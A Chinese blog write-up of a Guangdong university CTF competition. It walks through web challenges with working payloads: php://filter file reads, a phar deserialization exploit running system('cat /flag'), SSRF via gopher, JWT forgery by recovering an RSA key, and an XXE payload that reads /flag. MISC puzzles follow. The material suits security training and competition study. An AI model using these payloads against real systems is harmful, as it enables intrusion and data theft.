第三届广东省大学生网络攻防竞赛

第三届广东省大学生网络攻防竞赛

不做评价

WEB

消失的flag

访问提示Access Denied

fakeip插件伪造ip

img

提示File is Null

尝试加file参数

1
?file=index.php`提示`do not hack!!

大概是filter-chain

参考文章https://www.cnblogs.com/linuxsec/articles/12684259.html

php://filter/convert.iconv可以成功

img
1
2
/?file=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
/?file=php://filter/convert.iconv.utf-8.utf-16/resource=/flag
img
img

unserialize_web

没打这题,赛后看了一下讲一下大概思路

目录扫描拿源码www.tar.gz

index.php上传文件功能

upload.php处理上传文件

download.php通过file参数file_get_content``s读文件,且存在一条比较明显的序列化链

审计一下代码可以知道题目思路

通过upload.php上传文件,利用download.php的file_get_contents打phar反序列化到达eval,注意各种绕过

test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php


class File {
public $val1 = "file";
public $val2 = "exists";
public $val3 = "system('cat /flag');";
}

$phar=new Phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub
$obj=new File();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("test.txt","1");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("test.phar","test.jpg");
?>

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import os
from hashlib import *
import gzip

# 执行php生成test.jpg
os.system('php.exe test.php')

# 绕过wakeup
with open('test.jpg', 'rb') as f:
data = f.read()
data = data.replace(b'\"File\":3', b'\"File\":4')
with open('new.jpg', 'wb') as f:
f.write(data)

# 重新计算签名
ff = open('new.jpg', 'rb').read()
s = ff[:-28]
#print(s)
h = ff[-8:]
#print(h)
newf = s+sha1(s).digest()+h #sha1根据实际phar文件来修改

# gzip压缩
with open('exp.jpg', 'wb') as f:
gz_data = gzip.compress(newf)
f.write

mypdf

随手点了点功能没有什么发现,f12看源码里有www.zip

img

下载源码,看到有TCPDF v6.3.2

看题目注册功能,直接注册显示error,看源码注册的逻辑html/api.php

img

跟进到qInternal

img

会访问http://localhost:8082/``invites

然后到pdf/internal.py

app.run(host='127.0.0.1', port=8082),本地8082端口开了python服务

然后本地调试到这里发现if(myJson['invite'] in open('invites.txt').read().split('\n')):绕不过

img

然后谷歌搜"ctf" TCPDF invites

搜索到

https://cloud.tencent.com/developer/article/2069757

https://r0.haxors.org/posts?id=15

https://b6a.black/posts/2021-05-22-3kctf/#ppaste-web-498-points

img

invite:-3.3e99999999999999绕过注册成功

img

然后打内网的ssrf

其他地方和wp一样,打了好几次没打出来,外网无请求,猜测不出网

再去看源码,跟着原题wp找到ssrf地方的逻辑

img

对比原题

img

可以看到放了gopher

所以直接gopher打,测试了很久还是没测试出来

最后猜测可能是Cookie问题导致用户登录用的还是上一个用户的Cookie

直接注册admintest1,打ssrf给队友(admintest55),访问action:admin成功提升到admin

img
img
img
img

hackme

0解题,赛后师兄出了,趁环境还在跟着复现一下

两用户弱口令登录得到两个token

1
2
3
4
5
admin;123456
test;123456

token_test = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImlwIjoiMTcyLjIwLjI0MC4zMiJ9.A9CrtyzLavHQif9VRIHJN1kSjLefzcKPArv3Eo96EbSlD5gzRU78QGiFkdtW_YxQgYc7z82PqH1BQGWMf5CLBfYSQNB6V9HV7FyZJUpzZt2b-irXitYFhW2qQJr0i_yrJA"
token_admin = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjE3Mi4yMC4yNDAuMzIifQ.DDtMChPMQtBA_2_wJxLPO_6g5dTaM7stY2Knngol6qAeaWh4Y8EjY6ndBLuEMhXYyecpiLFXZxEPqkV_GW3rGReg7LTCfIb4x6M6RRhotbersK1AGKKGUyVHmr0es0bHpw'

登录成功提示不允许远程ip,伪造本地ip无果后发现是jwt里写死了ip

1
2
3
4
{
"user": "admin",
"ip": "172.20.240.32"
}

爆破密钥失败,扫目录发现有/vendor,里面可以看到有php-jwt的库以及版本

看对应版本的源码可以发现RS256都是用同一个私钥生成的,根据gcd(c1**e - m1, c2**e - m2)得到pq,就能解出私钥生成token

img
img

根据师兄提示找到以下项目以及wp,利用两个token

https://github.com/silentsignal/rsa_sign2n

https://ctftime.org/writeup/30541

https://github.com/DownUnderCTF/Challenges_2021_Public/tree/main/web/jwt

这里要低版本的python,所以直接用docker搭

1
2
3
4
5
git clone git@github.com:silentsignal/rsa_sign2n.git
cd rsa_sign2n
cd standalone
docker build . -t sig2n
docker run -it sig2n /bin/bash

运行生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@037eba26a164:/app# python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImlwIjoiMTcyLjIwLjI0MC4zMiJ9.A9CrtyzLavHQif9VRIHJN1kSjLefzcKPArv3Eo96EbSlD5gzRU78QGiFkdtW_YxQgYc7z82PqH1BQGWMf5CLBfYSQNB6V9HV7FyZJUpzZt2b-irXitYFhW2qQJr0i_yrJA eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjE3Mi4yMC4yNDAuMzIifQ.DDtMChPMQtBA_2_wJxLPO_6g5dTaM7stY2Knngol6qAeaWh4Y8EjY6ndBLuEMhXYyecpiLFXZxEPqkV_GW3rGReg7LTCfIb4x6M6RRhotbersK1AGKKGUyVHmr0es0bHpw
[*] GCD: 0x1d
[*] GCD: 0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803
[+] Found n with multiplier 1 :
0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803
[+] Written to 108b7c75aee1e2b9_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.uQSDyjQ3E0qKbn2Z57ehjBwLWuG9ZS0cZMovJ4cOX2Y'
[+] Written to 108b7c75aee1e2b9_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.PQh9QksKAeMoHlojbkthI3KFd8aJT_zJZGJcQF4MonQ'
[+] Found n with multiplier 29 :
0x920d1e8a71b85eaf6bd01744d6c84f79f7c2361f955f3bb7b3907e2cedfc567cfeadf290c09e76df43717bc5acb5265d51233f069d1c1a390f097e43db86c6c9a571f54cf72ced06f45fa0e5a0b68f0d5f53f8f259ef620424bf1a1ee5e0de9f
[+] Written to 920d1e8a71b85eaf_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.tfED-oSN1J63mhskbHzl-avEgr-xTGVBkYBicIkhkG4'
[+] Written to 920d1e8a71b85eaf_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.ILN5nCmS8koxi7qPNYe2A9d6ESr5OCPFydTgrdbrnq8'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.uQSDyjQ3E0qKbn2Z57ehjBwLWuG9ZS0cZMovJ4cOX2Y
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.PQh9QksKAeMoHlojbkthI3KFd8aJT_zJZGJcQF4MonQ
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.tfED-oSN1J63mhskbHzl-avEgr-xTGVBkYBicIkhkG4
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.ILN5nCmS8koxi7qPNYe2A9d6ESr5OCPFydTgrdbrnq8

关注到108b7c75aee1e2b9_65537_x509.pem

1
2
3
4
5
6
root@037eba26a164:/app# cat 108b7c75aee1e2b9_65537_x509.pem
-----BEGIN PUBLIC KEY-----
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD
z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ
ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB
-----END PUBLIC KEY-----

生成私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─# python3 RsaCtfTool.py --publickey ../pub.pem --private
['../pub.pem']

[*] Testing key ../pub.pem.
attack initialized...
attack initialized...
[*] Performing nonRSA attack on ../pub.pem.
[+] Time elapsed: 0.0020 sec.
[*] Performing factordb attack on ../pub.pem.
[*] Attack success with factordb method !
[+] Total time elapsed min,max,avg: 0.0020/0.0020/0.0020 sec.

Results for ../pub.pem:

Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIBnAIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8
wnks0vynK8S9A+l4kegxYrSxAgEdAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3
s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G
9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEFAmBhCOJfrQqHrhj9WlhcMx3KtTeN
ahJ+AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOS
nJ4kdR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQc=
-----END RSA PRIVATE KEY-----

wp说可以用jwt.io生成token,但是不太会用,用脚本生成就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pip3 install PyJWT
import jwt

private_key = """-----BEGIN RSA PRIVATE KEY-----
MIIBnAIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8
wnks0vynK8S9A+l4kegxYrSxAgEdAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3
s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G
9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEFAmBhCOJfrQqHrhj9WlhcMx3KtTeN
ahJ+AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOS
nJ4kdR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQc=
-----END RSA PRIVATE KEY-----"""

token = jwt.encode({'user': 'admin', 'ip': '127.0.0.1'}, private_key, algorithm='RS256')
print(token)

#eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjEyNy4wLjAuMSJ9.CoYi8KRN7iRYT79NWwYEb_RlZJVyQS5lTfE0loA-wa-buAMWtsHsG4bsIeezu5rk_nJztLp36sz2d3Nz2psJl7RqjXGmOg83dwRo0DL9oJzoUxfbsq9GuBjOThLwNEwq7Q

生成了token访问到manager.php

可以看到有getfile.php和upload.php

img

看这个postjson很容易看出是打ssrf

fuzz一下,url限制了oss.jxsec.cn@绕过,然后发现读不到文件,去看看upload接口

upload.php上传文件返回路径http://``oss.jxsec.cn``:8000``/xx.jpg(大概是这个)

"url":"``oss.jxsec.cn``@``localhost:8000``",返回xml解析错误,猜测后端用了libxml,所以打ssrf+xxe读文件

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/resource=/flag">]>
<creds>
<user>&xxe;</user>
</creds>

过滤了ENTITY、SYSTEM等关键字,编码绕过

1
2
3
4
5
cat ``1``.xml | iconv -f utf-8 -t utf-16 > test.xml
{
"url":"oss.jxsec.cn@localhost:8000",
"file":"5c93a0cbbaafcb4a165613239184ec96.xml"
}
img

MISC

猜一猜

压缩包名md5解密即为解压密码

1
205c8479398be4a4a5dc60611a15670e:a1478520

修一下文件头得到

img

扫二维码

img
1
❀❁❀❇❀✼❀❂✿❆✿✽❁❀✿✾❂❅✿❄❂❉❀✿❂❆❀❃❀✿❂❆✿❀❁✾✻✿❁❁❀❁❂❊✻❂✿❈=

搜一下花朵解密:https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo

img

你要的就在这

开局一个积分(喜欢高数

img

https://mathdf.com/int/cn/

积分求得答案为π,下面的6可能是密码位数

文件尾看到stegpy,puzzlesolver一把梭

pass.txt,尝试一下

1
2
3
4
5
6
314159
3.14159
3141592
3.141592
141592
3.1415

得到结果

1
Find Password: 3.1415, Message: 3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733dk:luckyone

k前面是hex,k应该是key

前面的密文解完hex后像是base64,但是解出来不是flag

key是8个字节,猜测是des

一开始试ecb模式不行,改成cbc,但是不知道iv,也没别的提示,那就跟key一样试试

img

第三届广东省大学生网络攻防竞赛
http://example.com/2024/05/13/第三届广东省大学生网络攻防竞赛/
作者
dddkia
发布于
2024年5月13日
许可协议